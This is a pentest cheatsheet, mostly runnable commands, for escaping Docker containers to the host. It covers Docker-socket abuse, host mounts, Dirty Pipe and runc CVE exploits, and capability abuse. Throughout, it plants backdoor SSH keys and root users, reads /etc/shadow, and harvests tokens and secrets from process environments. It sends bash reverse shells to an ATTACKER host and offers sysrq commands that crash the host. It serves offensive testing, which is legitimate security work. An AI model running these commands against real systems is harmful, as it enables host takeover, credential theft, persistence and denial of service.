Pentest Toolkit cheatsheet

# Classic escape: mount / and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Via curl to the socket (no docker binary needed):
# 1. Create container:
CID=$(curl -s --unix-socket /var/run/docker.sock \
  -X POST "http://localhost/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /mnt/etc/shadow"],"HostConfig":{"Binds":["/:/mnt:rw"]}}' | grep -o '"Id":"[^"]*"' | cut -d'"' -f4)
# 2. Start container:
curl -s --unix-socket /var/run/docker.sock -X POST "http://localhost/containers/$CID/start"
# 3. Read output:
curl -s --unix-socket /var/run/docker.sock "http://localhost/containers/$CID/logs?stdout=true"

# Read host file directly:
docker run -v /etc:/host-etc --rm alpine cat /host-etc/shadow
# Add backdoor SSH key:
docker run -v /root:/root-host --rm alpine sh -c \
  "mkdir -p /root-host/.ssh && echo 'PUBKEY' >> /root-host/.ssh/authorized_keys"

# Affected: Linux 5.8 <= version < 5.16.11, < 5.15.25, or < 5.10.102
uname -r

# Fetch PoC (multiple exist):
# https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-2.c

# Exploit-2: overwrite SUID binary on HOST via /proc/1/root
gcc exploit-2.c -o dirtypipe
# Overwrites /proc/1/root/usr/bin/sudo with a SUID shell dropper:
./dirtypipe /proc/1/root/usr/bin/sudo
# Then: sudo triggers payload -> root shell on host

# Alternative: overwrite /etc/passwd via page cache
# Restores original after shell - leaves no persistent modification
./exploit-1.c  # modifies passwd temporarily, spawns root shell, restores

# Check runc version on host (from inside container):
runc --version 2>/dev/null || /usr/bin/runc --version 2>/dev/null
# Vulnerable: < 1.0-rc6

# PoC: https://github.com/Frichetten/CVE-2019-5736-PoC
# The exploit:
# 1. Container overwrites /proc/self/exe -> points to attacker script
# 2. Script contains: #!/proc/self/exe (makes runc re-open itself)
# 3. On next 'docker exec', runc on HOST opens /proc/[container-pid]/exe
# 4. Attacker replaces file content with shell payload between opens
# 5. Host runc binary gets overwritten -> executes on next container op

# Build and run the PoC (set payload in main.go before compile):
# payload = "#!/bin/bash\n bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
go build -o CVE-2019-5736 main.go
./CVE-2019-5736 &
# Wait for 'docker exec' on the host targeting this container
# Host executes the overwritten runc = reverse shell as root

# Identify mounted paths:
cat /proc/mounts | grep -v "^overlay\|^tmpfs\|^proc\|^cgroup\|^devpts\|^mqueue\|^shm\|^/dev"
# Find where on the container FS these appear:
findmnt -t ext4,xfs,btrfs 2>/dev/null

# If /etc is mounted (read host credentials):
cat /mnt/etc/shadow
cat /mnt/etc/passwd
# Add backdoor user (if writable):
HASH=$(openssl passwd -1 pass123)
echo "backdoor:${HASH}:0:0:root:/root:/bin/bash" >> /mnt/etc/passwd

# If /root is mounted (SSH persistence):
mkdir -p /mnt/.ssh
echo 'ATTACKER_PUBKEY' >> /mnt/.ssh/authorized_keys
chmod 600 /mnt/.ssh/authorized_keys

# If / is mounted (full escape via chroot):
chroot /mnt /bin/bash

# If /var/lib/docker is mounted (access other containers):
ls /mnt/overlay2/
# Read other container filesystems, find secrets in layers

# Full host root shell via nsenter (requires host PID ns + cap_sys_admin):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# If nsenter not available, read host process info:
cat /proc/1/environ | tr '\0' '\n'
# Dump env vars of all host processes:
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
  cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|token|key|secret"
done

# Access host filesystem via /proc/1/root:
ls /proc/1/root/etc/shadow
cat /proc/1/root/etc/shadow

# Mount host disk directly (requires cap_sys_admin + device access):
mkdir /tmp/hostdisk
mount /dev/sda1 /tmp/hostdisk
ls /tmp/hostdisk/etc/shadow

# cgroup escape also works with just cap_sys_admin (same as Privileged+cgroup tab)
# User namespace abuse (CVE-2022-0185 style):
unshare -Urm
# If this succeeds, you have root in a new user namespace

# Load kernel module (requires cap_sys_module, often paired with cap_sys_admin):
insmod /tmp/evil.ko
# Abuse writable /sys (cap_sys_admin allows sysfs writes):
echo 1 > /proc/sys/kernel/core_pattern  # hijack core dumps
# Or modify AppArmor profile (if writable):
echo "profile docker-default flags=(attach_disconnected,mediate_deleted) {}" > /proc/1/root/etc/apparmor.d/docker

# Find a target host process (requires host PID namespace):
ps aux | grep -v "$$" | head -20
# Pick a root-owned long-running process (e.g., sshd, cron)

# Inject shellcode via /proc/[pid]/mem (Python example):
python3 -c "
import ctypes, struct
libc = ctypes.CDLL('libc.so.6')
PTRACE_ATTACH = 16; PTRACE_DETACH = 17; PTRACE_POKETEXT = 4
pid = TARGET_PID  # replace with target
libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
import os; os.waitpid(pid, 0)
# Read /proc/pid/maps to find executable region, write shellcode
# libc.ptrace(PTRACE_POKETEXT, pid, addr, shellcode_word)
libc.ptrace(PTRACE_DETACH, pid, 0, 0)
"

# Simpler: use gdb/strace if available
gdb -p TARGET_PID -batch -ex 'call system("bash -i >& /dev/tcp/ATTACKER/4444 0>&1")'
# Or read process memory for secrets:
cat /proc/TARGET_PID/maps
dd if=/proc/TARGET_PID/mem bs=1 skip=$((0xADDRESS)) count=4096 2>/dev/null | strings

# Check runc version:
runc --version 2>/dev/null
# Vulnerable: runc < 1.1.12 (patched Jan 2024)

# Exploit via malicious Dockerfile (attacker builds image):
# The WORKDIR is set to /proc/self/fd/N where N is the leaked fd
# Dockerfile:
#   FROM ubuntu
#   WORKDIR /proc/self/fd/7
#   RUN cat /etc/shadow  # reads HOST /etc/shadow during build

# Or at runtime with --workdir:
docker run --rm --workdir /proc/self/fd/7 alpine cat ../../../etc/shadow

# From inside a running container, enumerate leaked fds:
ls -la /proc/self/fd/ 2>/dev/null
# Look for fds pointing outside the container overlay
readlink /proc/self/fd/* 2>/dev/null | grep -v "^/dev\|^pipe:\|^socket:\|^anon_inode"

# Raw disk access (read host filesystem without mounting):
debugfs /dev/sda1 -R "cat /etc/shadow" 2>/dev/null
# Or mount it:
mkdir /tmp/hostfs && mount /dev/sda1 /tmp/hostfs
cat /tmp/hostfs/etc/shadow

# /proc/sysrq-trigger - crash/reboot the host (DoS):
echo b > /proc/sysrq-trigger  # immediate reboot
echo c > /proc/sysrq-trigger  # trigger kernel crash dump

# /proc/kcore - kernel physical memory (read secrets):
strings /proc/kcore | grep -i password

# cap_dac_read_search - read any file bypassing permissions:
# Use open_by_handle_at() syscall to traverse mount boundaries
# PoC: https://github.com/gabber235/open_by_handle_at-exploit
# Compile and run:
gcc shocker.c -o shocker
./shocker /etc/shadow  # reads host file via handle bruteforce

# cap_dac_override - bypass file write permissions on mounted paths:
# Allows writing to any file on host-mounted volumes regardless of perms